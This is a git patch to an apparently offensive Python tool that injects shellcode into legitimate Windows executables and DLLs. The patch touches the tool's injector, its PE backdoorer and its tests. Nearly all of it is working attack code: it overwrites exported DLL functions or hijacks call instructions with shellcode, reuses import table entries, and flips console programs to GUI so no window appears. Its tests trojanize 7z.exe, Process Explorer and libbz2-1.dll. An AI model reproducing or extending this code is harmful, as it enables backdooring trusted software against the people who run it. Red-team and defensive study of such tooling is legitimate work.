From 32000b5b7829c65240c1a64b063784946b5829b5 Mon Sep 17 00:00:00 2001 From: Dobin Date: Mon, 13 May 2024 22:01:16 +0100 Subject: [PATCH] fix: some dll bugs --- helper.py | 2 +- pe/derbackdoorer.py | 5 +- pe/superpe.py | 8 +++- phases/injector.py | 19 ++++---- tester.py | 109 +++++++++++++++++++++++++++++++++++++++++--- 5 files changed, 124 insertions(+), 19 deletions(-) diff --git a/helper.py b/helper.py index 78d0caf..0641db8 100644 --- a/helper.py +++ b/helper.py @@ -67,7 +67,7 @@ def run_exe(exefile, dllfunc="", check=True): def run_process_checkret(args, check=True): - logger.debug(" > Run process: {}".format(" ".join(args))) + logger.info(" > Run process: {}".format(" ".join(args))) ret = subprocess.CompletedProcess("", 666) try: diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index f662759..449dacf 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -51,11 +51,14 @@ class FunctionBackdoorer: logger.warn("Text section too small?") # write + #logger.info("Trampoline: {}".format(compiled_trampoline)) + #asm_disasm(compiled_trampoline, offset=function_addr) self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline)) # Show Result logger.info("--[ Patched result of function: ".format()) - data = self.pe_data[function_addr:addr+len(compiled_trampoline)] + #data = self.pe_data[function_addr:addr+len(compiled_trampoline)] + data = self.superpe.pe.get_data(function_addr, addr+len(compiled_trampoline)-function_addr) asm_disasm(data, offset=function_addr) diff --git a/pe/superpe.py b/pe/superpe.py index 758d7f8..20f0ce5 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -140,6 +140,8 @@ class SuperPe(): def patch_subsystem(self): + if self.is_dll(): + return if self.pe.OPTIONAL_HEADER.Subsystem != pefile.SUBSYSTEM_TYPE['IMAGE_SUBSYSTEM_WINDOWS_GUI']: logger.info("PE is not a GUI application. Patching subsystem to GUI") self.pe.OPTIONAL_HEADER.Subsystem = pefile.SUBSYSTEM_TYPE['IMAGE_SUBSYSTEM_WINDOWS_GUI'] @@ -228,7 +230,7 @@ class SuperPe(): def getExportEntryPoint(self, exportName: str): dec = lambda x: '???' if x is None else x.decode() d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] - self.pe.parse_data_directories(directories=d) + #self.pe.parse_data_directories(directories=d) if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0: raise Exception('No DLL exports found!') @@ -319,11 +321,12 @@ class SuperPe(): for reloc in self.get_base_relocs(): reloc_addr = reloc.rva if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size: + #logger.info("ADDR: 0x{:X}".format(reloc_addr)) ret.append(reloc) return ret - ## IAT related + ## IAT def get_vaddr_of_iatentry(self, func_name: str) -> int: iat = self.get_iat_entries() @@ -336,6 +339,7 @@ class SuperPe(): def get_iat_entries(self) -> Dict[str, IatEntry]: return self.iat_entries + def make_iat_entries(self) -> Dict[str, IatEntry]: iat = {} diff --git a/phases/injector.py b/phases/injector.py index 7f49346..4d91230 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -62,13 +62,13 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier): # Special case: DLL exported function direct overwrite if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc)) + logger.warn("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc)) rva = superpe.getExportEntryPoint(settings.dllfunc) # Size and sanity checks function_size = superpe.get_size_of_exported_function(settings.dllfunc) if shellcode_len >= function_size: - raise Exception("Shellcode too large: {} > {} exported function {}".format( + logger.warn("Shellcode larger than function: {} > {} exported function {}".format( shellcode_len, function_size, settings.dllfunc )) @@ -121,11 +121,11 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier): addr)) function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) - if source_style == FunctionInvokeStyle.iat_reuse: - logger.info("--( Fix shellcode to re-use IAT entries") - injected_fix_iat(superpe, carrier) - logger.info("--( Fix shellcode to reference data stored in .rdata") - injected_fix_data(superpe, carrier) + if source_style == FunctionInvokeStyle.iat_reuse: + logger.info("--( Fix shellcode to re-use IAT entries") + injected_fix_iat(superpe, carrier) + logger.info("--( Fix shellcode to reference data stored in .rdata") + injected_fix_data(superpe, carrier) # changes from console to UI (no console window) if necessary superpe.patch_subsystem() @@ -186,8 +186,9 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier): string_off = find_first_utf16_string_offset(sect_data_copy) if string_off == None: raise Exception("Strings not found in .rdata section, abort") - if string_off < 100: - logging.warn("weird: Strings in .rdata section at offset {} < 100".format(string_off)) + if string_off < 128: + logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off)) + string_off = 128 rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off) # Do all .rdata patches diff --git a/tester.py b/tester.py index 050caf1..5c4c4ed 100644 --- a/tester.py +++ b/tester.py @@ -14,16 +14,19 @@ def main(): logger.info("Super Mega Tester") config.load() - test_exe() - test_dll() + test_exe_code() + test_exe_data() + test_dll_code() + test_dll_data() -def test_exe(): - print("Testing: EXEs") +def test_exe_code(): + print("Testing: EXEs: Inject payload into .text") settings = Settings() settings.payload_path = PATH_SHELLCODES + "createfile.bin" settings.verify = True settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.CODE settings.prep_web("unittest") prepare_project("unittest", settings) @@ -64,12 +67,106 @@ def test_exe(): print("Error") -def test_dll(): - print("Testing: DLLs") +def test_exe_data(): + print("Testing: EXEs: Inject into .data") settings = Settings() settings.payload_path = PATH_SHELLCODES + "createfile.bin" settings.verify = True settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.DATA + settings.prep_web("unittest") + prepare_project("unittest", settings) + + # 7z, peb-walk, change-entrypoint + print("Test EXE 1/4: 7z, peb-walk, change-entrypoint") + settings.source_style = FunctionInvokeStyle.peb_walk + settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint + settings.inject_exe_in = PATH_EXES + "7z.exe" + settings.inject_exe_out = PATH_EXES + "7z.verify.exe" + if start(settings) != 0: + print("Error") + + # 7z, peb-walk, hijack + print("Test EXE 2/4: 7z, peb-walk, hijack main") + settings.source_style = FunctionInvokeStyle.peb_walk + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.inject_exe_in = PATH_EXES + "7z.exe" + settings.inject_exe_out = PATH_EXES + "7z.verify.exe" + if start(settings) != 0: + print("Error") + + # procexp, iat-reuse, change-entrypoint + print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint") + settings.source_style = FunctionInvokeStyle.iat_reuse + settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint + settings.inject_exe_in = PATH_EXES + "procexp64.exe" + settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe" + if start(settings) != 0: + print("Error") + + # procexp, iat-reuse, backdoor + print("Test EXE 4/4: procexp, iat-reuse, backdoor") + settings.source_style = FunctionInvokeStyle.iat_reuse + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.inject_exe_in = PATH_EXES + "procexp64.exe" + settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe" + if start(settings) != 0: + print("Error") + + +def test_dll_code(): + print("Testing: DLLs code") + settings = Settings() + settings.payload_path = PATH_SHELLCODES + "createfile.bin" + settings.verify = True + settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.CODE + settings.prep_web("unittest") + prepare_project("unittest", settings) + + print("Test DLL 1/6: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)") + settings.source_style = FunctionInvokeStyle.peb_walk + settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint + settings.inject_exe_in = PATH_EXES + "libbz2-1.dll" + settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll" + if start(settings) != 0: + print("Error") + + print("Test DLL 2/6: libbz2-1.dll, peb-walk, hijack dllMain (func=None)") + settings.source_style = FunctionInvokeStyle.peb_walk + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.inject_exe_in = PATH_EXES + "libbz2-1.dll" + settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll" + if start(settings) != 0: + print("Error") + + print("Test DLL 3/6: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress") + settings.dllfunc = "BZ2_bzDecompress" + settings.source_style = FunctionInvokeStyle.peb_walk + settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint + settings.inject_exe_in = PATH_EXES + "libbz2-1.dll" + settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll" + if start(settings) != 0: + print("Error") + + print("Test DLL 4/6: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen") + settings.dllfunc = "BZ2_bzdopen" + settings.source_style = FunctionInvokeStyle.peb_walk + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.inject_exe_in = PATH_EXES + "libbz2-1.dll" + settings.inject_exe_out = PATH_EXES + "libbz2-1.verify.dll" + if start(settings) != 0: + print("Error") + + + +def test_dll_data(): + print("Testing: DLLs data") + settings = Settings() + settings.payload_path = PATH_SHELLCODES + "createfile.bin" + settings.verify = True + settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.DATA settings.prep_web("unittest") prepare_project("unittest", settings)